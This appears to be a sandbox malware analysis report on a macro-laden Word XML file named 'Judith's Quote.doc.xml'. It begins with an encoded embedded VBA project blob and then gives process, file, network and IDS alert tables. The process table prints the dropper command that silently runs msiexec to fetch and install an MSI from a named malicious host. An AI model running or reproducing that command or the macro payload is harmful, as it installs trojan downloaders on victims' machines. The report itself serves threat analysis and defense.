NWVhRlBuQjd3OWlGMXA2WXFnQnZBUG5PbkFCeklRMU5RanFpYmxkR0U4OWlDaUxMZHFvMkOqEAAq hAgA/wMDAHZ5VDNHQVUyNmxvNXdYdTJ2a2NTMWtLcV9IUlJNbjdQdHdyX3lpU3FXQ0slEAA3hAgA /wMDAFBlRG9CaldPakhlRGlJbG0zOXFDblBuWElfb29DS1F1NXhUcGxURnI1N0R3dXBMaGFKcFM5 VFeeORAAJ4QIAP8DAwBrN1RWcXFWZHVWcmd5NHl6OHJZeUFDOEVOWV9abndRdFBEWUM0WnaErxAA KoQIAP8DAwBsY1hLSmw1T0kyNk1KZnAzaDhNR1FsNno3XzhQdWN1Nmc2d1RsenZjU0iysRAAHYAA AP8DAwBOSGh1ZHZ2T2I1S25lRldPV2Fpc08zUUFmZExhSArJEAA7hAgA/wMDAHRuVzlZa3hDREE2 cjJVVl9zWWw1U056QW1TYjd0Qk5NWHV2aTV2SEh4TW9OU3lVclV6YUNPVmhkd1VUjGEQAC6ECAD/ AwMAeW9uTWFxM3pkTjNIMjVkVFFJWjFFNDgzQ1h0WnY2aExfZDRHY2I0WWJHTlpwYnqdEAA6hAgA /wMDAHhTc0Vja2xzajRwdElDN2FEaG9wRFdfVTF5Tl9XN25mTGpqWXBvYTdqVDNfWnNRMWJfRHB0 X1hZUlcHxRAAJoQIAP8DAwBRYUZGOEQ4dFBWVFdQWmE4U0ZGck1PbTV4OGtHTFdzUWVOd3pSb83s EAAvhAgA/wMDAGs0QWRjMzFTRmR3cU80djdwQnhKUV9hemYybUIyQmxqbm1lS3BzdXNEY3pGU2VH TykQADGECAD/AwMAdU1GY2VZNFBqZDdfaWJFbzcxWlFHakFuZFRkeXRLX2oxdVZGWGZNWGtDM1Vr Z3Fabk8gEAAthAgA/wMDAHp3UkI2NEpMYTlKNF9lV1hVR3dfOU9abUFwRHBuQzdtREo0WHZnNDFL MzZnQtVGEAAFAFNoZWxsVtcQACeECAD/AwMASTdhaE9jX2NEUVF6a2N3R1dPNmZPaDRKdXZWXzNo a29YVFd1TzdfdioQADaECAD/AwMAaEFCaXNZYzVCcGVMb2l2SmtDUHZiRTlqZHBsYU9fQTFaSlZk TDhJdFF6VFdWVTVfa0h2cjlJKvQQABKECAD/AwMATkpYcnNoWjJTSkh5Y284cFpOpk4QACGECAD/ AwMAUk9LaGxVdWU1UXdLcnZnTlpWMmNpUm5kNEliWGpqTUJmzEsQACOECAD/AwMAamVlZndfUWsy Sm1sNHUBpxAAMYQIAP8DAwBKR2FVXzhvcWgzaVJzb1VKOF9BSE9tblc1YXFOMzFoS25iZ3BpZ2dD TVcxUXZucWtPn1kQABaECAD/AwMARWNIMklhbEFXdnVSRWFFUWZJRlBqWBA6EAAphAgA/wMDAEtP UmxXRTJ1N0JSUEVBOEJsVTdIaGtOR1ZIOWRsY3NVSHFQMmlnQ2VIrSMQAC6ECAD/AwMAcDJZUnhY dmNVWUJyN1RMQlphMmEyeGNBcGFLS19mUjRYZENNQ3ZkQkxhWEVFeTJuEAAnhAgA/wMDAHloOEVk Z0hOXzFXV2tWS2ljeUZHUmFROThuN3pOWVlXNDFrbUw0QcBgEAAOgAAA/wMDAE5vZGVUeXBlZFZh bHVlbF8QABaECAD/AwMAUVdHa2plWGdLSHZsSDZBQVZRSENhdFbnEAAphAgA/wMDAFVCRHRXOXZL Vzl4WUlzdkZPbkF5REZrR2NsU1l2Z21SUmZCX2d5R1l1vDUQADSECAD/AwMAVEtNWnU0QTcxSXpu WlpYQUdxY216M0t6Rk0zRF9CYkhNdGlNREpXbmVyc3dpM0phS2hXS43IEAA6hAgA/wMDAEZmQWFf VlNmQTY3eHBwWnAxSTc2UnlHRkhYUExCWjJabk9CcXNGTXAxemxodTVFMmJkakFrYTJQVzMtFBAA O4QIAP8DAwB0THA3QjRZRjVTblRGSURfYmtKX185dWJ6OG9kUXJSMlZYUVFodm1SUlk1dHBBUTN0 YWxwZlU2dFpNRv5aEAAshAgA/wMDAERNNHlLX3U4cjJ1ZW83MXFqREF1eW91dHlFbFVBYWZ6VG9p RFdpcnM1Q2hfnkYQAAgERG9jdW1lbnRq0xAADYQIAP8DAwBEb2N1bWVudF9PcGVuwYkQAAL//wEB YAAAAAACAQD//wICAAD//////////////////////////////////////////w4CAgD//xAC//// /xMCAAAJAP///////xYCAwD//xgCBAD//////////x0CAQAJAP///////w4AEAAAAAEAJAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEgT2Zm aWOEZ08AomaAAGkAY4JnnoAfApSCIUd7MkRGOABEMDRDLTVCRgBBLTEwMUItQkhERTWAZ0FBgGU0 DYAFMohngLpncmFtACBGaWxlc1xDIG9tbW9uBAZNaQBjcm9zb2Z0IABTaGFyZWRcTwBGRklDRTEy XABNU08uRExMIxOHEINNIDGAkyBPYgGB4yBMaWJyYXIWeYAlgAAPgnoCABMRwgEx5RlCZVRoaQBz RG9jdW1lblB0RwAYwAlUwGZpEABzAETASGMAdVFASWUAbsBuGs4LMkXaCxzAEgAASEIBMcFCifcD AAAeQgIBBaIswiFAGSJCCCtCAQgZABDAAXZNVF8ATm5WTTFKX04gRzZQU0dCaHYAgE0AVABfAE5A IyJWwAIxAEpCA0cAgDYAUABTABrSDiYy4g7PKiEnzyp36Q4hQinDKkEqAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFRoaXNEb2N1bWVudABUAGgAaQBz AEQAbwBjAHUAbQBlAG4AdAAAAHZNVF9OblZNMUpfTkc2UFMAdgBNAFQAXwBOAG4AVgBNADEASgBf AE4ARwA2AFAAUwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASUQ9Ins0 RkJCOTc5OS0yNEIyLTQ1MDItQkMzRC00OTY4QzRCMjA5RDR9Ig0KRG9jdW1lbnQ9VGhpc0RvY3Vt ZW50LyZIMDAwMDAwMDANCk1vZHVsZT12TVRfTm5WTTFKX05HNlBTDQpOYW1lPSJQcm9qZWN0Ig0K SGVscENvbnRleHRJRD0iMCINClZlcnNpb25Db21wYXRpYmxlMzI9IjM5MzIyMjAwMCINCkNNRz0i NTc1NTgzN0U4RDgyRTA4NkUwODZFMDg2RTA4NiINCkRQQj0iQUVBQzdBRDc4Njc5REM3QURDN0FE QyINCkdDPSIwNTA3RDE4QzdGRTI4MEUyODAxRCINCg0KW0hvc3QgRXh0ZW5kZXIgSW5mb10NCiZI MDAwMDAwMDE9ezM4MzJENjQwLUNGOTAtMTFDRi04RTQzLTAwQTBDOTExMDA1QX07VkJFOyZIMDAw MDAwMDANCg0KW1dvcmtzcGFjZV0NClRoaXNEb2N1bWVudD0wLCAwLCAwLCAwLCBDDQp2TVRfTm5W TTFKX05HNlBTPTI1LCAyNSwgMTE0NiwgNDg2LCANCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= |
| PackagePartXmlDataDocumentBodySectPrDocGridLinePitch: | 360 |
| PackagePartXmlDataDocumentBodySectPrColsSpace: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarGutter: | - |
| PackagePartXmlDataDocumentBodySectPrPgMarFooter: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarHeader: | 720 |
| PackagePartXmlDataDocumentBodySectPrPgMarLeft: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarBottom: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarRight: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgMarTop: | 1440 |
| PackagePartXmlDataDocumentBodySectPrPgSzH: | 15840 |
| PackagePartXmlDataDocumentBodySectPrPgSzW: | 12240 |
| PackagePartXmlDataDocumentBodySectPrRsidSect: | 006342C1 |
| PackagePartXmlDataDocumentBodySectPrRsidR: | 003E2647 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrPrstGeomAvLst: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrPrstGeomPrst: | rect |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmExtCy: | 2262753 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmExtCx: | 2712203 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmOffY: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmOffX: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillStretchFillRect: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillBlipEmbed: | rId5 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPicPr: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPrName: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPrId: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataUri: | http://schemas.openxmlformats.org/drawingml/2006/picture |
| PackagePartXmlDataDocumentBodyPRDrawingInlineCNvGraphicFramePr: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDocPrName: | Picture 1 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDocPrId: | 1 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentB: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentR: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentT: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentL: | 19050 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineExtentCy: | 2262753 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineExtentCx: | 2712203 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistR: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistL: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistB: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistT: | - |
| PackagePartXmlDataDocumentBodyPRRPrNoProof: | - |
| PackagePartXmlDataDocumentBodyPRsidRDefault: | 001166CC |
| PackagePartXmlDataDocumentBodyPRsidR: | 003E2647 |
| PackagePartXmlDataRelationshipsRelationshipTarget: | docProps/app.xml |
| PackagePartXmlDataRelationshipsRelationshipType: | http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties |
| PackagePartXmlDataRelationshipsRelationshipId: | rId3 |
| PackagePartXmlDataRelationshipsXmlns: | http://schemas.openxmlformats.org/package/2006/relationships |
| PackagePartPadding: | 512 |
| PackagePartContentType: | application/vnd.openxmlformats-package.relationships+xml |
| PackagePartName: | /_rels/.rels |
Total processes
35
Monitored processes
5
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2960 | "C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\AppData\Local\Temp\Judith's Quote.doc.xml" | C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: XML Editor Exit code: 0 Version: 14.0.4750.1000 | ||||
| 2628 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Judith's Quote.doc.xml" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | MSOXMLED.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3912 | MsieXeC.exe /i http://liftenea.co.ke/78735d0.msi /quiet | C:\Windows\system32\MsieXeC.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3092 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 2496 | "C:\Windows\Installer\MSI7F46.tmp" | C:\Windows\Installer\MSI7F46.tmp | — | msiexec.exe |
User: admin Company: Luite Integrity Level: MEDIUM Description: Myomere10 Exit code: 0 Version: 9.04.0002 | ||||
Total events
2 046
Read events
1 387
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
3
Text files
9
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6D41.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3092 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF6ACE1BB9D8C89D6A.TMP | — | |
MD5:— | SHA256:— | |||
| 2496 | MSI7F46.tmp | C:\Users\admin\AppData\Local\Temp\~DF62B95CC0AF0B697E.TMP | — | |
MD5:— | SHA256:— | |||
| 3092 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF49CAB2264C748325.TMP | — | |
MD5:— | SHA256:— | |||
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9008BF90.jpeg | — | |
MD5:— | SHA256:— | |||
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\mso6F65.tmp | — | |
MD5:— | SHA256:— | |||
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{888A523F-5E7F-4A8E-96FB-445CCADFB343}.tmp | — | |
MD5:— | SHA256:— | |||
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{137BFF6C-A0FC-48DA-970F-F361BA641ADC}.tmp | — | |
MD5:— | SHA256:— | |||
| 2628 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{6847A722-301D-4E4A-A4F3-C95C37198A5B}.tmp | — | |
MD5:— | SHA256:— | |||
| 3092 | msiexec.exe | C:\Windows\Installer\MSI7918.tmp | executable | |
MD5:45B6235E34DDFEEAA4EC46118043A16C | SHA256:36AC3928A9F061092475D04403F257222479EBA34174515831388D55A3CD6102 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3092 | msiexec.exe | GET | 200 | 192.185.193.214:80 | http://liftenea.co.ke/78735d0.msi | US | executable | 580 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3092 | msiexec.exe | 192.185.193.214:80 | liftenea.co.ke | CyrusOne LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
liftenea.co.ke |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3092 | msiexec.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic |
3092 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |
3092 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
3092 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable ExeToMSI Download |
1 ETPRO signatures available at the full report